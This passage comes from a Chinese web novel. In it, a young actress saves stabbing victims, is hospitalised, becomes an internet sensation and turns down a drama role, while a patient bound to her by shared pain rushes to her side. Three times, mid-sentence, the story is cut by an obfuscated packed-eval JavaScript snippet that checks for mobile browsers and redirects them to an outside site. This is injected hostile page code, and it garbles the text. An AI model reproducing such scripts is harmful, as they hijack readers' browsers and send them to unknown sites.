医生的声音依然平稳:“那你看他们,也会有望向太阳、汲取生命力的感觉吗?” 柏临渊:“不会。” 医生笑了起来:“旺盛的生命力和能量并不是泳池里的水,被使用就会枯竭,就像你说的那样,她是太阳。” “太阳也会有起伏期,会落下也会升起,即使是遇到了阴天,也会有放晴的时刻。” “你是被单向索取伤害过的人,我相信你不会变成你讨厌的那个样子。你们不会是此消彼长的对立关系,而是互相给予能量的共生关系,对吗?” “对吗?”柏临渊有些迷茫地复述着,似乎自己也弄不明白。 医生:“介意我和讲讲你们相处的细节吗?” “第一次见面的时候,她在吃面。”柏临渊陷入了回忆,神色也自然了很多,“是很普通的素浇面,但是她却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360236|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃得很香,远远看着都觉得滋味甚美。” “只需一眼,就会被那种对食物的热爱和认真打动。” “我当时只有一个想法,要是那碗面是我煮的就好了。” “如果我的作品也能得到这样认真的对待,哪怕只有一口,我也心满意足了。” “后来我给她做了很多菜,但唯独没有煮过面……”柏临渊沉默了很久,哑声道,“我觊觎着她,但得到时又觉得惶恐……总觉得……什么都是不真实的……” “那为什么不给她煮一碗面呢?”医生轻声询问,“说不定她也很喜欢吃面呢?” “……我试着做过……” 漫长的沉默后,柏临渊的声音轻得像是在呢喃自语。 “……但是她离开了……” “不过没有关系,她会回来。” 柏临渊很认真的看向医生:“她还是会回来的。” 医生几不可察地蹙了下眉,病人情绪化的时候往往是没有逻辑和条理的,这个时候医生不能刺激病人情绪,而是要顺着他的思维来。 医生:“她有说什么时候回来吗?最近你们还有联系吗?要不要我帮你问问她呢?” “有的。”柏临渊找出聊天页面,像小孩子展示奖状一样在医生面前晃了晃,“今天早上她陪我吃饭,我还给她录了吃药视频。” 医生:“那我能看看你们最近的聊天记录吗?只看今天就好。” “这也是治疗的一部分吗?”柏临渊歪头,有些不太情愿。 “是的。”医生点点头,“我感觉你有好转的趋势,但是要结合你和别人的聊天再进行判断。” 柏临渊同意了。医生简单划了几页,扫过近期聊天内容,这才松了口气。他原以为柏临渊又因交友不甚而情绪低落,现在看来只是单纯地敏感混乱,接下来可以调整治疗方向了…… 就在医生思考的时候,应璋的消息跳了出来。 【早早:来点教材胜地巡游[视频][视频]!】 【早早:我有点饿了,你的问诊结束了吗?想不想看羊肉火锅吃播?】 【临渊:结束了,想看。】 柏临渊立马起身和医生告辞:“我还有事,先走了,下次再来复查。” 医生:“还没开药……” 柏临渊头也不回:“我还剩好多没吃,下次来再开。” 医生:算了,他都愿意下次再来了…… * 跟着旅游路线才转了三分之一,应璋已经开始饿了。 早上的点心精巧归精巧,但是茶茶水水的,消耗起来快得很。在胡同里本地大爷的推荐下,应璋记下了几家好吃的馆子,思来想去,还是想去吃火锅。 毕竟大爷可是把那家的麻酱夸了又夸! 这场吃播的围观群众不多,除了柏临渊之外就只有两三个误入的路人。应璋没有太在意,她开吃播也不是真的要去吃直播这口饭,只是为了陪柏临渊吃饭罢了。 因此应璋并不清楚这场直播的切片在网上引发了怎样的热度,毕竟当务之急是解决她的官司。 不过这场官司的解决远比应璋以为的要草率——对方压根就没有出庭,直接做了缺席审理。 应璋:这种猛挥一拳但是打在棉花上的感觉,怪怪的。 官司一种虎头蛇尾的方式结束了,微胜,胜60%。 17. 勇为 “救命啊——我不认识他——” 刚下出租车,应璋就听见一道尖利得几乎声嘶力竭的呼喊。周围的人一下子沸腾了起来,应璋被推搡着往前走,几乎抱不住怀里的包。 “啊——” 女子凄惨的叫声突然变得高亢起来,听起来好像受到了什么难以承受的伤害。 应璋瞅准人群薄弱的地方,以肩卸力往外挤。再在人群中困下去,说不定就会发生踩踏,到时候才是寸步难行。 “啊——啊——” 惨叫声一声接一声,听起来不像是同一个人发出来的。 应璋有些纳闷,这种规格的商业街不应该有好多警察吗?这少说也是送上门的三等功吧?怎么会有这样的惨叫? 等应璋从人流中挣脱开,才知道前面发生了什么——有三个中年男人持刀无差别攻击路人,地上躺了几个看起来很是纤细的身影,隐约可见她们身上露出的血色。 真是要命。 有个躺在地上的女生离应璋并不远,看她的样子好像伤口都集中在肩颈部分,出血量多得不正常。 摘下脖子上的丝巾,应璋就冲向了那个女生,靠近锁骨的地方血流如注,按这个出血量说不好伤到了动脉。 回忆着之前急救的经验,应璋把丝巾在伤口上用力缠了两圈,又帮着按住伤口试图止血。女生也挣扎着死死按住盖在伤口上的围巾,努力为自己挣出一线生机。 应璋正准备再检查一下女生身上的其他地方,突然听到有非常急促的脚步声由远及近袭来。 回首望去,一个双目猩红神情亢奋的男人正向这边冲过来。 首都安检严格,应璋身上没带什么东西,包里唯一能锋利点的锐器就是修眉刀了,显然在这种场合下,这把锐器毫无作用。 身前是歹徒,身后是伤患。前后为难之下,应璋只能空手迎着刀刃而上。 男人逼近的时候,应璋闻到了非常浓郁的酒味,再结合方才他跑出来略带踉跄的步伐,应璋心里多了一份底气——酒精会影响这个人的动作,他没有她灵活。 一个箭步绕到男人持刀的右手外侧,应璋一个金色缠腕狠狠捏住对方的手腕。被按住手腕的男人吃痛嚎叫,腰背疼得蜷缩起来。 虽然应璋的手臂被刀锋划破了一道小口子,但由于穴位和力度拿捏得宜,男人吃痛下下意识松开了手上的刀。 金属落地的脆响和男人愤怒的污言秽语同时响起,应璋一脚踢开了地上的刀,同时闪身躲开男人凑过来想咬她的大嘴。调整好脚步后,应璋又快速给半直起身子的男人连续两个膝顶,一下直击胸口,一下正中面中。 寸劲冲击下,男人很快就摔倒在地哀嚎不止。 就在应璋犹豫着要不要再补两下时,安保和民警带着防爆叉冲了过来,男人当即就被控制住了。 在应璋和歹徒搏斗的时候,见义勇为的群众也在和另外两个歹徒周旋。好在民警及时赶到,另外两位很快也被制服了。 帮着两三个伤情较重的受害者处理过伤口后,应璋被救护车一起带去了医院。 一同进医院的这群人里,应璋算是伤得最轻的,打了针破伤风又缝了六针。因为伤口在手臂上,也不太影响活动,应璋试图和医生商量出院,毕竟她还买了下午的高铁票打算回婺州呢。 但医生断然拒绝。 被迫住院观察的应璋只能遗憾地跟着护士去了分配给她的病房。等护士走后,应璋才有时间翻包找出压在最下面的手机。 应璋不喜欢听各种手机提示音,手机侧面的静音键常年开着。刚摸到手机,应璋就被手机滚烫的温度烫到了,怔愣间,有电话进来,手机发出振动的嗡鸣声,屏幕上是柏临渊的来电提示。 “你是不是受伤了?在右手前臂!” 电话刚一接通,柏临渊急促到有些变音的声音就从听筒另一侧传来,应璋听着听筒另一侧粗重的呼吸声,只觉得往日冰冷的屏幕此刻烫的让人不适。 “嗯,不小心划了一下。”应璋轻描淡写,并没有跟柏临渊描述她刚刚经历的惊心动魄,“不严重,但是要等拆线了才能出院,我要晚两天才能回去了。” “那胳膊和腿呢?有撞击的疼痛,也是不小心?”向来迟钝温吞的人语气也急了起来,“你在哪?” “好像是首都陆军总院?” 回忆了一下路上听到的只言片语,应璋模糊地吐出一个地名。 “不用担心,我很好,身体倍棒!等下我找个人不多的地方给你拍个视频,让你好好检查一下。” 电话那头沉默了片刻,柏临渊恢复温吞的声音听起来有点闷闷的:“……不用拍了,你好好休息。” 电话的结束和开始一样突然,没头没脑的。 应璋望着屏幕上淡去的通话页面,这才注意到满屏的未接来电和告急的手机电量。 应璋:她就说这手机怎么这么烫…… 头脑一热冲上去的时候应璋没有想太多,现在看到满屏的红色提示才隐隐有些后悔的感觉从脑海深处冒了出来:她现在处在共感中,受伤疼得并不只有她一个人…… 怀着愧疚之心,应璋从病房溜了出去,找了个没什么人的走廊,把手机架在窗台上,站得远一点拍了个全身视频。 鉴于现在离暴力袭击的时间并不远,应璋除了胳膊上缝针处缠了绷带,其他地方看起来都很正常,看不出搏斗的痕迹。 对着相册检查了两遍,应璋觉得这个视频拍得非常好,满意地选中发给了柏临渊。 等应璋回到病房,陪伤者们就医的民警送来了盒饭。这个病房人很多,大家都是症状较轻的患者,和她一起就医的同批伤患大多都还没出手术室,应璋面前只有一个孤零零的饭盒。 “她们还好吗?” “还在抢救。”民警把手上的温热的小吊梨汤递了过去,“医生说有两个姑娘的急救措施做得不错,你学过?” “了解一点。”应璋点点头,不是特别有胃口,但也礼貌地双手接过道谢,“谢谢。” “小心,别扯到伤口。”民警避开纱布包扎的地方虚虚扶住应璋的手臂,“你好好吃饭,多多休息,把伤口养好。我还有任务,就先走了,有事打这个电话。” 应璋没什么胃口,就把瓶装的梨汤喝了。浓稠的甜汤带着热意,顺着喉咙下去,身上也热了。 原本应璋没想睡的,但不知道怎么回事就半靠在床上睡着了。 在应璋困意绵绵的时候,今天发生的事故已经激起了网上的热议。 有人拍到了应璋救人并与歹徒搏斗的全过程。 当时有个主播正在商业街直播,带了非常专业的摄影团队在商场一楼半的平台和观众互动,有眼尖的观众注意到背景广场前的乱象,便留言提醒。 类似的留言越来越多,主播干脆就把镜头对准身后,从才艺展示变成了实况解说,应璋也是在这个时候入镜的。 得益于高像素的顶级设备,即使相隔甚远,镜头拉近也能拍清楚应璋的动作和五官。四肢纤细高挑的靓女空手夺白刃,这刺激眼球的一幕直接让直播间的互动量和点击量暴增。 不过这场事故并没有持续很久,从大量观众发现异常到警察赶来也不过就短短五六分钟罢了,等警车和救护车远去也不过才十几分钟。 但这十几分钟已经够网络上的营销号剪辑出侧重点不同、时长也不同的各种视频了。 最近的社媒平台比较安静,不知道是不是因为汪老师没有新专辑发布也没有开演唱会的计划,热搜上都是些不痛不痒粉丝特供的词条,类似XXX蓝发、XX穿搭、XXX直播吃萝卜之类的内容。 于是带着#三名男人无差别砍人#美女空手夺白刃之类话题的短视频内在爬上热搜尾巴之后,瞬间点燃舆论,成为所有社媒平台带有【爆】字标识的热门内容。 对于视频片段的内容,网友的解读不尽相同。 有的在痛斥暴徒无差别伤人的残暴行径,有的在感慨出行要注意安全,有的感慨警民一心共同制暴…… 也有人的关注点悄悄歪到了镜头停留格外久的应璋身上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14370192|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [这个小姐姐真是,人美心善,还很厉害。] [真的不是特摄片或者片场剪辑吗?这动作流畅度吊打百分之九十九的明星好吧!] [超棒的小姐姐!谁懂啊!她扯下丝巾跑向伤者的动作也太飒了吧!] [这就是传说中的空手接白刃吗?慢放好多倍还是没看清歹徒的刀为什么会掉下来……] [有人知道这个美女是谁吗?] [这脸!这身手!哪怕是剧本我也要追!能不能来个警匪片签她去打架!] [……] 不过这些应璋都全然无知。 就算她现在没有睡着,网络上发酵的内容她也知之甚少。 应璋不是个爱追逐热点的人,也不太冲浪。十八线糊咖在朋友圈就能吃到各路精彩绝伦的新鲜瓜,那些热搜广告位对她来说实在没有什么吸引力。 平时玩手机看得最多的就是某瓣瓜组,短视频就是看吃播和俊男美女跳舞,信息茧房对她而言和老鼠的米缸没有什么区别。 不过莫伊倪就不一样了,作为加班到十一点也要抽出五分钟出来摸鱼的冲浪达人,热搜还挂在尾巴上时她就刷到视频并认出了见义勇为的好友。 心忧好友的莫伊倪顾不上刷评论看后续,就直接一个电话拨了过去。 “妮妮?” 应璋还没太睡醒,整个人都是懵的。 “璋宝!我看到你和歹徒搏斗的视频了!已经上了热搜!” 一开始莫伊倪还能勉强压一压声音,到后面就越说语调越高亢了。 “你有没有受伤?有没有哪里不舒服?现在在警局还是医院啊?” “在医院,划了个小口子,缝了几针,没什么大事。” 脑子还不太清醒的应璋忽略了莫伊倪一连串问题的前置内容,就着后面的问题一一回复起来:“过两天估计就没事了,拆线了我就回婺州。” 莫伊倪松了口气:“到底怎么回事?怎么在首都还能发生这种事?” “前因后果我不太清楚,就说我知道的……” 应璋想了想,把她知道的跟莫伊倪讲了一下。 以为能听到一线亲历者讲述经历的莫伊倪:…… 这干巴巴的“因为这样所以那样”式的讲述,比网上剪辑的只有十秒的短视频还要简略。 莫伊倪只能感慨还好应璋之前进圈是当演员,不是做编剧,不然她写的剧本肯定一本都卖不出去。 等应璋挂了电话,才发现病房内一圈炽热的视线。 应璋:? “你就是新闻上的那个小姑娘啊?”一个大姐开了口,“姑娘你咋做到的?” “啊?”应璋一头雾水。 同病人热心的陪床家属找到了相关视频应璋展示了一下,应璋看着屏幕上的自己,感觉怪羞耻的。 这动作没以前利索了啊…… 等解答完病房里众人的困惑,应璋已经说得口干舌燥了,随手抓起床头的梨汤就想喝。 “小应别喝了,放了半天都不新鲜了!”一个大妈眼疾手快地抢走了应璋手上的瓶子,“来吃个梨,姨刚削的,可甜了!” “吃梨干什么?那么凉!来吃蜜三刀,一口下去口舌生津!” “齁甜的谁吃?吃酸枣糕!我女儿从外地寄回来的,这才是口舌生津!” “去去去,人家渴着呢!小应来喝蜂蜜水,姐姐刚冲的!” “……” 被众人的好意包围,应璋有点诚惶诚恐,啃了梨吃了糕又吨了好几口蜂蜜水,在投喂的间隙瞥到了人群外一个熟悉的身影。 等会,门口站的人是谁? 放好众人的投喂,应璋借口上厕所走出病房,看到了走廊白炽灯下的高大身影。 “你怎么来了?” 柏临渊裹在宽大的风衣里,看起来有点瘦削,风从窗边卷进来,刮得衣服在人身上晃。 “因为你在疼。”柏临渊看着应璋包着纱布的手臂,声音平静得像是在说今天早上煮粥喝,“所以我就来了。” 18. 邀约 从应璋接通柏临渊的电话,到柏临渊出现在这里,也不过六个多小时而已。 很难想象,一个对出门特别抵触又不清楚具体地址的人是怎么在短短几个小时里找到她的。 诸多复杂的情绪涌上心头,一时堵得应璋说不出话。她分辨不清这些情绪是什么,也不知道怎么应对,只能呆呆地望着柏临渊的下巴。 “你怎么站在这?” 路过的护士一个急刹车,喊住了呆愣的应璋。 “您这可让我一通好找,刚刚看背影都没认出来。内什么,该换药了,和您对象一起进病房吧。” “啊……哦哦。” 应璋没反应过来,顺着护士的动作就进了病房。 病房内外是两个温度,坐到病床上被按着换药时,应璋才反应过来护士误会了她们的关系。解释吧,已经过了这么久,有点欲盖弥彰;不解释吧,她觉得自己面皮在烧,都不好意去看柏临渊的脸。 他不会以为她在占他便宜吧? “来,对象过来帮忙拎一下袖子。”护士受不了应璋一直在滑的袖子,忍不住出声叫外援。 “他不是我对象……” 终于有了机会!应璋见缝插针地解释道。 “我懂,就是你们年轻人说的那什么‘夸施’!”隔壁床奶奶笑眯眯的,拍了拍柏临渊的后背,“小伙子愣着干嘛,帮忙啊。” “哦,好。”柏临渊接过护士手上提溜着的衣角,动作轻得仿佛在作画,“这样吗?” “再高点。”护士动作轻柔地帮应璋揭着纱布下敷料,“奶奶,您还知道crush呢?真潮啊!” “那时!奶奶我也是冲浪达人!”奶奶哈哈大笑,“我可是第一个发现小应是今天广场见义勇为那姑娘的呢!” “您这网速,超越全国百分之九十九的网友。” 护士揭下敷料丢进废弃物桶,仔细观察了一下伤口道:“麻药下午那会就退了吧,伤口疼得厉害吗?” 应璋:“不怎么疼。” 柏临渊:“很疼。” 两人异口异声,引得病房众人发出一阵善意的笑声。 “小伙子会疼人。” 护士难掩笑意,眼睛都眯起来了:“那我上药轻点,疼得厉害就吃粒止疼药,千万别碰伤口啊!” 应璋乖乖点头:“那我等会吃完饭就吃。” 应璋其实真没觉得有特别疼,但考虑到共感对柏临渊的影响,还是决定吃一颗,毕竟人家都皱眉说很疼了。 这里人多,应璋没好意思问。但她确实不理解,之前柏临渊的伤口可比她的长和深,那会他换药都不皱眉头,现在怎么对她这个小口子大皱眉头? “给您缝合的肯定是江主任,她手最稳最巧,瞧瞧,多漂亮!”护士涂好药,又把辅料和纱布往上加,“您要是不是那种容易留疤痕的体质,回头愈合了保准看不出来什么疤!” “是吗?”应璋看着自己的手臂,很是惊讶,“当时就觉得医生动作又轻又稳,没反应过来就缝完了。” “好了,是不是还没吃饭?这会食堂没什么好吃的了,你们叫外卖吧。”护士收拾好东西就准备走,“病人不能出去啊,家属自己出去取。” “咳,你是不是还没吃饭。”应璋清了清嗓子,下床去翻包,“我给你打包了富华斋的点心,本来想今天给你带回去来着。” 柏临渊跟在应璋身后,亦步亦趋,像是游戏里的跟随宠物。 “诶,都碎了。”应璋拆开盒子,发现一盒点心碎片,“好像是被我摔的?” “没有关系,好吃的。”柏临渊伸手去拿,碎点心直接在他手上变成了渣。 “还没进嘴就好吃?”应璋有些好笑,这人也太捧场了。 “好吃的。”柏临渊把手上的点心渣渣倒进嘴里,点点头表示肯定。 “难得你有胃口。”应璋抽了湿巾分给柏临渊一条,“把手擦擦再吃,刚摸过病号服你也不嫌脏。” “消过毒的,不脏。” 虽然嘴上这么说,但柏临渊还是学着应璋的动作把手擦得干干净净。 擦干净手的应璋从盒子里挑了两块相对完整的点心塞到柏临渊手里:“你先垫一口,我点个外卖,等会一起吃,有什么想吃的吗?” “都可以。”柏临渊吃得很是仔细,连落下来的点心渣都没放过。 “出门饺子落地面,咱今天吃面!”应璋兴致勃勃,“吃老北京炸酱面怎么样?” 柏临渊摇头:“你伤口没好,不能吃酱。” 应璋:“那羊汤面?” 柏临渊:“也不行,影响伤口愈合。” 应璋:“黄鱼面总行了吧?” 柏临渊:“鱼虾性寒,现在还不能吃。” 应璋长叹:“兰州拉面!这个总可以了吧!” 柏临渊想了想,点头同意:“可以,但是不能放辣椒。” “行,点好了。”应璋刚准备收起手机,忽然想到一个问题,“你定酒店了吗?” “不用。”柏临渊摇头,“我在这陪你。” “有什么好陪的。”应璋奇怪地看了柏临渊一眼,“我腿能走手能动的,你留下来做什么?又没你的床。” 柏临渊还在坚持:“我不用床。” “我定好了。”应璋把订单截图发了过去,“等会吃完饭你去酒店好好休息一下,明天过来陪我一起看选题,还欠粉丝一个视频呢!” “……好。” 外卖到得很快,滋味一般,但是胜在食材干净新鲜,应璋还是吃得很香,连带着柏临渊的胃口也好了起来,一份面吃得干干净净。 “小应吃饭怎么这么馋人呢?”离应璋最近的奶奶一边啃桃酥一边感慨,“你吃的这家面我也点过,没吃两口就吃不下了,太寡淡了,怎么你一吃我就觉得这面特香呢?” “就是。”不远处的大姐咽下口中的水果,连声附和,“闻起来就是普通的拉面,但是看小应一吃就觉得嘴巴发空。” “小应喜不喜欢吃炒合菜?你叔做这个好吃,明天我让他给你带!”不远处另一个老太太拿起手机就给儿子打电话点菜。 老太太一出声给了大姐启发:“我哥四喜丸子那是一绝,我让他少放点酱油,明天咱姐俩一起吃。” 只听病房里此起彼伏的点菜声,就知道明天绝对是丰盛大餐。 看着众人点菜顺带唠家常的样子,应璋拒绝的话都不好说出口,只能期待地看向柏临渊:“你明天来医院之前去买点吃的打包带来吧。” “不用,我订了家能做饭的酒店,你想吃什么,我等会去买菜。” 应璋:…… 怎么解释这扑面而来的好胜心。 * 比众人家属拿手菜更早到来的,是一份剧组邀约。 应璋听着电话那头的自我介绍,只觉得奇怪,怎么有人大清早就开始诈骗。 “我真的不是骗子!”电话另一头的男人急得舌头都快打结了,“要不等会咱俩加个好友,我把身份证和剧本的备案什么的都发给你!” 应璋报上邮箱地址:“要不发我邮箱吧。” “行行行,我这就给你发!”男人的兴奋显而易见,“我等你电话!一定要联系我啊!” 挂了电话,应璋也没太当回事。毕竟在铃戏的那些年见过太多狼来了的故事。也就是社媒没有扒出来她的账号,不然骚扰信息就能把她围堵得重返2G时代。 应璋慢悠悠地视频陪柏临渊吃了顿早饭,才在休闲区的长椅上不紧不慢地打开了邮箱。 “嘶……” 应璋大致翻看了一下,没想到这个剧组还怪正式的。 导演是新人,但个人网站上有不少学生时期的作品,也拿过一些奖项;剧组的账号上一直都有更新花絮,虽然看起来投资不大,但也能感受到服化道的用心;最可贵的是制作人和投资方,天眼查上每一个都干干净净,年报里还有很多加纳五险一金的员工。 美好得一点都不真实。 如果不是诈骗的话,这个导演的自己介绍还怪诚恳的。应璋回想起刚刚她讲电话的态度,隐隐有些愧疚:她刚刚讲电话是不是有点太刻薄了。 这样想着,应璋翻出通话记录拨了回去。 “您愿意考虑我们剧组了吗?” 电话刚一接通,导演按捺不住的兴奋就从听筒冲了出来,应璋像是被路过的热情耶耶扑了个正着,推开吧感觉像是冷巴掌抽热脸,既无情又冷漠;但是如果伸手去摸狗头,又显得有些欠思考。 一时间,应璋有些僵,不知道应该怎么回复。 “咳……” 导演似乎被谁拍了一下,响亮的巴掌声过后导演的声音一下子正常了起来:“我们是在那个见义勇为视频里注意到您的,您的身手真是干脆利落,跟我们这个女三号的角色特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376441|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴!” “这些年因为……呃……一些原因,已经好久没有亮眼的刀马旦类型的女角色了,如果不是因为编剧老师刷到了您的视频,我们就要改掉这个角色了。” “虽然这是我执导的第一部剧,但是我会竭尽全力展现这个角色的魅力的!请您相信我!” 应璋:哦豁,完蛋,越听越觉得对方诚恳。这让她接下来的拒绝怎么说得出口。 “谢谢您和编剧老师的认可,这对我而言是莫大的鼓励。”应璋努力调整着措辞,试图让拒绝的话听起来委婉一点,“但是……” “应老师……” 导演刚刚勉力维持的理性被这一声“但是”完全击碎,声音都带了些许哭腔。 “您真的不再考虑考虑吗?有什么条件您尽管提,我们尽量满足……” “不是不是。” 应璋被这一嗓子嚎得有点慌,资料上明明是个络腮胡子的壮汉,怎么说哭就哭。 “我受了点伤,进不了组,会耽误贵剧组的拍摄进度……” “我们可以等的!”导演连忙出声打断,“现在只是筹备阶段,三个月后才正式开机的!老师您先养好身子,我们可以等的!” “唉……”应璋叹了口气,“您可以去大眼搜一下我和经济公司铃戏,我现在是被雪藏的状态,离合约到期还有六年。” “啊?”导演懵了,“您……他……我……” “和公司打官司周期长胜诉率也不高,至少三个月内解决的希望不大。”应璋放缓了声音,努力安抚着导演,“您还是看看其他演员吧。” “呜——”听筒里崩溃的哭声渐渐远去,换成了一道干练的女声,“导演他非常非常喜欢女三这个角色,所以情绪有点失控,不好意思,打扰您了。” “没有没有——”应璋连连否认,“就是不凑巧,看了一下你们发过来的剧本片段,确实是很有意思的一位女侠,如果我能接的话肯定愿意尝试的。” “谢谢您的喜欢。”女声带了丝笑意,“我是编剧洪格,如果之后有机会的话,希望您能考虑一下我们。” “一定一定!” 挂了电话,应璋有些遗憾地叹了口气。果然真诚是大杀器,她现在心里怪愧疚的。 不对,她愧疚什么?千错万错都是铃戏的错,要外耗不要内耗! 调整好了情绪,差不多也到换药的时间了,应璋活动了一下坐的有点麻的双腿,起身回病房。 “小应你可算回来了!怎么出去这么久!”让自家哥哥送四喜丸子的大姐迎了出来,“小柏已经到了好一会了,给你打电话你都占线,我们都准备出去找你了。” “打了个电话,有点久。” 查资料读剧本花了不少时间,眼下都快十一点了,可不是有点久?应璋嘿嘿一笑,跟在大姐身后进了门。 刚进门,应璋就看到床头柜上那一叠打包盒。 应璋:? 不是,柏临渊是昨晚没睡觉连夜做了满汉全席吗?那盒子摞在床头柜上快跟他一样高了。 “你几点起来做饭的?”应璋凑过去望着柏临渊的眼睛,有点生气,“我说我怎么一直觉得困呢,瞅你这红血丝,该不会一直没睡吧?” “睡了……”柏临渊小声狡辩,“认床,睡不着。” 应璋深呼吸,在她还在组织语言时,前来换药的护士及时地救下了即将被骂的柏临渊。 “6床今天感觉怎么样?”护士笑眯眯地开始做换药准备,“还是不用打针好,来换药好几趟了,每趟你都不在。” “挺好的。”应璋抬了抬手,“没昨天那么疼了。” “来我看看。” 一夜过去,伤口分泌物和辅料粘连在一起,分离用了比昨天更久的时间,等应璋冷得皮肤上冒鸡皮疙瘩了才处理好。 “呀!恢复得这么好!”护士的声音满是惊讶,“照这个速度下去,再有三天你就能拆线了。” “我从小愈合能力就强!”应璋对着下巴比划了一下,“这在我上小学那会划了这么长一道口子,现在都看不太出来了。” “真的。”护士低头看了一下,“就一条很浅的白线,你不说我都没注意到。” 结束了今天的换药,柏临渊才舍得拎起饭盒去热菜。 于是当记者跟着警察来到病房门口时,看到的就是应璋被各种美食和病人及家属围了一圈的吃播盛况。 19. 热门 “于警官,您怎么来了?” 正对着门坐的应璋第一个发现有人来了,站起身迎了过去。 “你们这是在聚餐?”于警官摆了摆手,“你们先吃,我等会再过来。” “一起进来吃点呗!” “添两双筷子的事,快来坐快来坐!” “这么多菜,医院也不好放的,你们来帮忙吃点!” 众人一拥而上,有的拉人、有的劝人、有的腾坐的地方、有的递碗筷,根本容不得于警官几人拒绝。 “不行不行,我今天是带融媒体中心的同事来采访应女士的,真不能……唔……” 于警官的话还没说完,就被应璋隔壁床刘奶奶塞了一嘴菜:“吃饭吃饭。” “吃吧吃吧,跟我们几个老人犟什么?有话在饭桌上问也是一样的!”坐在旁边的夏奶奶颇为赞同,“边吃边聊,边吃边聊,都吃啊!” “这炒合菜够地道的!”于警官咽下了嘴里的投喂,被迫加入这场午宴,“又香又脆,锅气十足!” “是吧?”刘奶奶儿子很是得意,“我用旺火炒的,来的路上都没敢盖盖儿,就怕把香味闷坏喽!” 跟在于警官身后的两个年轻人你看看我,我看看你,纷纷咽下周围长辈们的投喂,加入其中。 扛着摄像机的还挣扎打开镜头盖,拍了一段应璋被病房众人投喂的画面,这才再次被拉回饭桌。 “因为这次应女士的急救和见义勇为都特别有教育意义,所以上面让我带了两个同事来采访一下。”于警官双手捧碗接过了刘奶奶夹来的卤牛肉,笑着介绍道,“这个是负责采访的小杨,这个是负责拍摄的小牛。” “好好好,都是精神孩子。” 众人夸了一番之后,又开始追问工作并介绍对象了,被问题逼得面红耳赤的小杨调转枪头开始提问:“今天大家怎么在病房聚餐了,是约好的吗?” “也不完全算吧?”夏奶奶想了一下,解释道,“昨天小应在病房里吃饭,孩子吃相好,瞅着就香,我们几个就想着家里人送饭的时候带点给孩子尝尝。” “是啊,每人两三道菜的,攒攒就是一桌了。”刘奶奶指指桌子上的饭菜,“主要是小柏做得多,今天拎了十来个盒子进来,估计半夜里就忙活上了。” 说笑间话题自然而然就岔开了。今天最忙的估计就是小牛的摄像机,吃饭时就一直兢兢业业地工作着,吃完饭还在楼下花园又努力工作了好几个小时。 融媒体中心的工作也是要看数据的,趁这会应璋救人视频的热度还没过去,整个办公室加班加点地剪辑出了视频,放在他们W站官媒账号上—— 一个三十多秒搞笑向的快剪,以及一个时长半小时的采访。 最先出圈的是快剪,确切地说,是里面仅占三秒的吃饭镜头。 原本摄影小牛只是想把吃饭时的片段当成备剪的素材,并没太在意。但办公室里网感很好的剪辑章章却觉得这段素材里有很多年轻人会喜欢的内容,就挑选了一部分剪进视频里。 快剪视频用了章章的毕生剪辑功力,视频开头是应璋一举制服歹徒的夺刀片段,镜头拉近聚焦在她钳住歹徒的手上,再拉远变成她的手被老奶奶握住往嘴里投喂美食。 前一秒还在凶猛搏斗,后一秒就被团团围住投喂,从英勇到无助只需一秒便可丝滑切换。 配上同病房众人跟演小品一般你一言我一语的对话,视频上传的当晚点击量就飙升,第二天直接成为网站热门视频。 不少营销号纷纷转发调侃,随着视频的扩散和传播,有部分眼尖的网友突然发现,视频的女主角有点眼熟。 地瓜网上出现了一则热帖。 博主:【怎么觉得夺刀女主和我最近的下饭视频主播有点像?】 【正文:[动图][动图][图片][图片]】 [就是同一个人吧?轮廓五官都能叠得上。] [怎么吃什么都看起来这么香?] [在现场哈哈哈,刷到过原视频,确实很下饭。] [我只想知道是什么蘸料,看着也太香了!] [官媒片段里的好像更好吃,不是,更好看!] [这是麻酱火锅?能不能分享一下位置,这个芝麻酱看着就香!] [求芝麻酱+1] [……] 神通广大的网友不仅找到了应璋的吃播视频,还顺着直播回放找到了这家火锅店和这家芝麻酱的供应商,吃货的热情不仅挤满了门店,还制霸了工厂,直接把剩余的库存给清空了。 等应璋知道这一茬时,她已经拆了线准备出院了。 帮她拆线的医生很健谈,拆了线直夸这针缝得好,回头痊愈了不细看根本看不出缝合痕迹。两人聊着聊着话题就跑远了,从缝合能用几种线到今天中午吃什么。 应璋顺嘴就提起了之前吃过的羊肉火锅,打算带着柏临渊也去尝尝,这才从医生口中得知火锅店的火爆和她在网络上的热度。 当事人现在就是非常震惊,她总共也就直播了两回,还是为了陪柏临渊吃饭才播的,怎么就被人扒出来了呢? 吓得应璋赶紧登上大眼看了下已经停更很久的大眼账号,页面一如既往的冷清,私信和评论互动都很少。 还好还好,没有人知道热心市民应女士就是糊咖演员应璋。 